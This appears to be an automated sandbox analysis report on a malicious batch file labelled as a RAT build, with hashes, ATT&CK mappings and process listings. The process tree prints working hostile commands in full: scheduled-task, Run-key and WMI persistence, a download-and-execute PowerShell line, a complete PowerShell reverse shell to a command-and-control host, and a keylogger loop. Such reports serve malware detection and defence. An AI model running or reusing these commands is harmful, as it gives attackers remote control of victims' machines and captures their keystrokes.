4ba4ea7e41dcb2adf6b01b6c273ceee97d50f2b21c4f315883bb36fa83dc9ad6

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 22:18

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General

Target
rat_build_39410_014203.bat
Size 4KB
Sample260529-18aa2sct4p
SHA256 4ba4ea7e41dcb2adf6b01b6c273ceee97d50f2b21c4f315883bb36fa83dc9ad6
MD5 e80710d4013806bee7c69f571917fa92
SHA1 a6cbbc7f61f12c444657c4c9712ba3104ca61587
SHA512 b1ccb5ccd3d8067c95876373e3589c88bf9682a18a1abfb4a04144cad7e9a85d613ee48009b08f9700b6d76d21da7c765623f78f5178ef5b3d929546160a35f1
SSDEEP 96:LIGXWXia96cUWkIEs/lRdboJutMC7X9V9VoDgF5gCiFgZk8mvlo1f8:LwXiabEmdbOutMC7VVoDpCiFgkHlu8
TLSH
T1ECA1F8175796712089B4362ADD323C28A76CE6FB1754CACDEB4888C45A9CE03A1295FB
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_39410.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4516	powershell.exe
1056	powershell.exe
1576	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_39410 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_39410.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
1392	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
2092	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2264	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1860	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4516	powershell.exe
4516	powershell.exe
1056	powershell.exe
1056	powershell.exe
1576	powershell.exe
1576	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	3524	WMIC.exe
Token: SeSecurityPrivilege	3524	WMIC.exe
Token: SeTakeOwnershipPrivilege	3524	WMIC.exe
Token: SeLoadDriverPrivilege	3524	WMIC.exe
Token: SeSystemProfilePrivilege	3524	WMIC.exe
Token: SeSystemtimePrivilege	3524	WMIC.exe
Token: SeProfSingleProcessPrivilege	3524	WMIC.exe
Token: SeIncBasePriorityPrivilege	3524	WMIC.exe
Token: SeCreatePagefilePrivilege	3524	WMIC.exe
Token: SeBackupPrivilege	3524	WMIC.exe
Token: SeRestorePrivilege	3524	WMIC.exe
Token: SeShutdownPrivilege	3524	WMIC.exe
Token: SeDebugPrivilege	3524	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3524	WMIC.exe
Token: SeRemoteShutdownPrivilege	3524	WMIC.exe
Token: SeUndockPrivilege	3524	WMIC.exe
Token: SeManageVolumePrivilege	3524	WMIC.exe
Token: 33	3524	WMIC.exe
Token: 34	3524	WMIC.exe
Token: 35	3524	WMIC.exe
Token: 36	3524	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3524	WMIC.exe
Token: SeSecurityPrivilege	3524	WMIC.exe
Token: SeTakeOwnershipPrivilege	3524	WMIC.exe
Token: SeLoadDriverPrivilege	3524	WMIC.exe
Token: SeSystemProfilePrivilege	3524	WMIC.exe
Token: SeSystemtimePrivilege	3524	WMIC.exe
Token: SeProfSingleProcessPrivilege	3524	WMIC.exe
Token: SeIncBasePriorityPrivilege	3524	WMIC.exe
Token: SeCreatePagefilePrivilege	3524	WMIC.exe
Token: SeBackupPrivilege	3524	WMIC.exe
Token: SeRestorePrivilege	3524	WMIC.exe
Token: SeShutdownPrivilege	3524	WMIC.exe
Token: SeDebugPrivilege	3524	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3524	WMIC.exe
Token: SeRemoteShutdownPrivilege	3524	WMIC.exe
Token: SeUndockPrivilege	3524	WMIC.exe
Token: SeManageVolumePrivilege	3524	WMIC.exe
Token: 33	3524	WMIC.exe
Token: 34	3524	WMIC.exe
Token: 35	3524	WMIC.exe
Token: 36	3524	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1684	WMIC.exe
Token: SeSecurityPrivilege	1684	WMIC.exe
Token: SeTakeOwnershipPrivilege	1684	WMIC.exe
Token: SeLoadDriverPrivilege	1684	WMIC.exe
Token: SeSystemProfilePrivilege	1684	WMIC.exe
Token: SeSystemtimePrivilege	1684	WMIC.exe
Token: SeProfSingleProcessPrivilege	1684	WMIC.exe
Token: SeIncBasePriorityPrivilege	1684	WMIC.exe
Token: SeCreatePagefilePrivilege	1684	WMIC.exe
Token: SeBackupPrivilege	1684	WMIC.exe
Token: SeRestorePrivilege	1684	WMIC.exe
Token: SeShutdownPrivilege	1684	WMIC.exe
Token: SeDebugPrivilege	1684	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1684	WMIC.exe
Token: SeRemoteShutdownPrivilege	1684	WMIC.exe
Token: SeUndockPrivilege	1684	WMIC.exe
Token: SeManageVolumePrivilege	1684	WMIC.exe
Token: 33	1684	WMIC.exe
Token: 34	1684	WMIC.exe
Token: 35	1684	WMIC.exe
Token: 36	1684	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1684	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 1112 wrote to memory of 1860	1112	cmd.exe	86
PID 1112 wrote to memory of 2264	1112	cmd.exe	87
PID 1112 wrote to memory of 3524	1112	cmd.exe	88
PID 1112 wrote to memory of 1684	1112	cmd.exe	89
PID 1112 wrote to memory of 5008	1112	cmd.exe	90
PID 1112 wrote to memory of 2092	1112	cmd.exe	93
PID 1112 wrote to memory of 1392	1112	cmd.exe	100
PID 1112 wrote to memory of 4516	1112	cmd.exe	102
PID 1112 wrote to memory of 1056	1112	cmd.exe	104
PID 1112 wrote to memory of 1576	1112	cmd.exe	105

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_39410_014203.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1112
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_39410" /tr "C:\Users\Admin\AppData\Local\Temp\_39410.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1860
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_39410" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_39410.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:2264
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_39410", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3524
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_39410", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_39410.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1684
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_39410.txt
  2⤵
  PID:5008
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:2092
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:1392
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_39410.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4516
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1056
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1576

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 f088a23763346c55aa2cd83e57a59bc0c7485fadbf7b3f7811a562ccc00a0202
MD5 47802cf10a4922df8a2db766863d1fa0
SHA1 a74a17118a26a74862c69050146d679c7587f41b
SHA512 960a568f269fa2182f624ad9531355f6e6f445bcf997d755a1e2e6af7e9f2b66343ae1cdd05de094fdd3cc993ac57e5dfb0d0483fa5212180bd02a0fbfc0c878
TLSH
T18D117627F39CC921CC96153A409DAC1172B687DB81AEDF9F6FC4D214A07F984CB712A4
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 479e30aab9aea527f35a883f9d2564454c5da1b0b512e00442931eee6dd7b4a0
MD5 9b2bec72b86f9fd4436e8d351bc99cdd
SHA1 630726346b61fcc2329944c935413d9f75b0c9cb
SHA512 fdfa2395e0d8751aa13b8bb7fa4ab329f20445e435bb8b005083b3d86c5d8bd67977e74d3b8b6f31a4b1f4d52aeeafc8e568d2c21ede254f18f55c730821629e
TLSH
T1A6115727B39C89A1CC96153A409D9C1172B683D7409EDEDF6BC0D214A17F584CB61190
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_azsloddx.45h.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_azsloddx.45h.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/4516-10-0x00000288EF680000-0x00000288EF6A2000-memory.dmp

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